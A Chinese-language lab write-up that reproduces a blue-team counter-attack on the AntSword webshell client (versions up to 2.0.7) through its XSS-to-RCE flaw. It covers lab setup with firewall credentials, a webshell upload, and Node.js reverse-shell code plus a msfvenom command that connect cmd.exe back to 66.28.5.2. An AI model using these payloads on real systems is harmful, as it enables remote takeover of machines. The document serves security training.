分享 | 蟻劍RCE反制復現
Zero
漏洞概述
中國蟻劍是一款開源的跨平臺網站管理工具,它主要面向于合法授權的滲透測試安全人員以及進行常規操作的網站管理員。
2019年4月12日凌晨,有用戶在中國蟻劍GitHub上提交了issue,稱發現中國蟻劍存在XSS漏洞,借此可引起RCE。據悉,該漏洞是因為在webshell遠程連接失敗時,中國蟻劍會返回錯誤信息,但因為使用的是html解析,導致xss漏洞。
One
影響范圍
AntSword <=2.0.7
Two
實驗環境搭建
●環境拓撲

●安裝v2.0.7版本蟻劍
版本2.0.7的蟻劍不能安裝在Linux系統,所以將Windows 10物理機當做紅隊使用的主機。
下載地址:鏈接:https://pan.baidu.com/s/1x8bXH-ph6wRCZcmIt_HHDw
提取碼:rizb
1.將壓縮包解壓,解壓之后。

2.打開啟動器,選擇windows版本,雙擊AntSword.exe 啟動文件。

3.初始化,配置核心源代碼文件位置。


4.雙擊AntSword.exe 重啟。

●藍隊靶標Centos 7
Centos 7自動獲取到的IP地址為10.10.19.50
1.在靶機上搭建LAMP服務和phpcms v9.6.0環境。

2.邊界FW2防火墻開放對應的接口
訪問http://1.1.1.12/cgi-bin/luci/,輸入root/goktech進行登錄。

點擊“網絡->防火墻->端口轉發->新增”,則可以添加新的端口轉發規則。

設置新的端口轉發規則。

名稱:可以任意取名,建議與規則相關;
協議:可以選擇TCP、UDP、ICMP,一個規則最好只選一個協議,不然容易出問題;
源區域:這個指的是外網所在的區域,我們事先配置好了每個接口一個區域,因此只要選對應接口即可,FW2選ETH4,FW1選ETH2;
外部端口:這里是外網供訪問的端口號,可以填單個端口或者一個端口段,如8000-9000;
目標區域:這里填寫的是前往內網服務器路由的出接口,以FW2為例,如果要映射服務器就填寫ETH3;
內部IP地址:這里填寫內網服務器的IP地址,在下拉框的最后可以輸入ip按回車即可變為可選的ip;
內部端口:這里填寫內部服務器要映射的端口,可以填單個端口或者一個端口段,如8000-9000。
配置完成后點擊右下角保存,即可增加規則,但規則不會馬上生效。規則是自上而下進行匹配的,可以按住規則右側的白色按鈕上下拖動調整順序,最后點擊“保存并應用”方可生效。

●藍隊靶標Windows Server 2016
Windows Server 2016自動獲取到的IP地址是10.10.19.51
1.使用phpstudy搭建,啟動nginx+mysql服務。

2.搭建好phpcms v9.6.0環境。

3.邊界FW2防火墻開放對應的接口
訪問http://1.1.1.12/cgi-bin/luci/,輸入root/goktech進行登錄。

點擊“網絡->防火墻->端口轉發->新增”,則可以添加新的端口轉發規則。

設置新的端口轉發規則。

將靶標Windows Server 2016上的phpcms平臺映射到公網66.28.5.2的80端口上
配置完成后點擊右下角保存,即可增加規則,但規則不會馬上生效。規則是自上而下進行匹配的,可以按住規則右側的白色按鈕上下拖動調整順序,最后點擊“保存并應用”方可生效。


Three
反制
●反制條件
紅隊:Windows 10 藍隊:Centos 7
1.紅隊通過phpcms v9.6.0文件上傳漏洞,上傳了一句話木馬文件,并且使用蟻劍成功連接。


2.藍隊Centos 7 :關閉防火墻。

3.邊界FW2防火墻開放接口
訪問http://1.1.1.12/cgi-bin/luci/,輸入root/goktech進行登錄。

點擊“網絡->防火墻->端口轉發”,則可以看到端口轉發規則。

點擊“編輯”,進入修改端口轉發規則。

配置完成后點擊右下角保存,即可修改規則,最后點擊“保存并應用”方可生效。
紅隊:Windows 10 藍隊:Windows Server 2016
1.紅隊通過phpcms v9.6.0文件上傳漏洞,上傳了一句話木馬文件,并且使用蟻劍成功連接。


2.藍隊Windows Server 2016:關閉防火墻。

3.邊界FW2防火墻開放接口
訪問http://1.1.1.12/cgi-bin/luci/,輸入root/goktech進行登錄。

點擊“網絡->防火墻->端口轉發”,則可以看到端口轉發規則。

點擊“編輯”,進入修改端口轉發規則。

配置完成后點擊右下角保存,即可修改規則,最后點擊“保存并應用”方可生效。

4.紅隊Windows 10關閉殺毒軟件,比如火絨、360等等。

如果沒有關閉火絨,則會報僵尸網絡攻擊,并將攻擊進行攔截。
●反制目的
當紅隊再次使用蟻劍連接時,直接反彈shell,藍隊可以反控紅隊機器。
●反制開始條件
紅隊:Windows 10 藍隊:Centos 7
1.藍隊檢查日志時,發現紅隊使用蟻劍v2.0連接了20220609050516861.php。

2.查看20220609050516861.php,發現該文件是一句話木馬文件。

●反制過程
Centos 7
1.藍隊就準備根據蟻劍v2.0漏洞進行反制紅隊,制作payload,修改20220609050516861.php內容。
1.1 使用net.Socket方法制作木馬
將以下內容進行base64編碼,66.28.5.2為藍隊centos 7映射到公網上的IP地址,監聽端口為10099。
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10099, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
在Node.js中提供了一個net.Socket對象,用于方便調用底層Socket接口,實現數據傳輸的功能。net.Socket既可以讀也可以寫,這個client建立socket鏈接,實現了將對方cmd.exe的標準輸入輸出與標準錯誤流轉發到受害者自己的ip:10099端口上。
將上面base64編碼完成的內容放進Buffer函數中。
header("HTTP/1.1 500 Not ");
?>
1.2 使用MSF生成node.js木馬
使用msfvenom 命令生成木馬
msfvenom -p nodejs/shell_reverse_tcp LHOST=66.28.5.2 LPORT=10099 -f raw -o payload.js

將payload.js中的內容進行base64編碼,將base64編碼完成的代碼放進Buffer函數。

header("HTTP/1.1 500 Not ");
?>
2.開啟監聽端口
藍隊使用nc開啟監聽10099端口。

3.當紅隊再一次使用蟻劍進行連接webshell時,發現報錯,可能以為自己的密碼錯了或者木馬文件沒了,而此時,紅隊已經被藍隊控制了。


●Windows Server 2016
1.藍隊就準備根據蟻劍v2.0漏洞進行反制紅隊,制作payload,修改20220609035913593.php內容。
將以下內容進行base64編碼,66.28.5.2為藍隊靶機映射到公網上的IP地址,監聽端口為10088。
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10088, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
在Node.js中提供了一個net.Socket對象,用于方便調用底層Socket接口,實現數據傳輸的功能。net.Socket既可以讀也可以寫,這個client建立socket鏈接,實現了將對方cmd.exe的標準輸入輸出與標準錯誤流轉發到受害者自己的ip:10088端口上。
將上面base64編碼完成的內容放進Buffer函數中。
header("HTTP/1.1 500 Not ");
?>
2.開啟監聽端口
藍隊靶機使用nc開啟監聽10088端口。

3.當紅隊再一次使用蟻劍進行連接webshell時,發現報錯,可能以為自己的密碼錯了或者木馬文件沒了,而此時,紅隊已經被藍隊控制了。


Four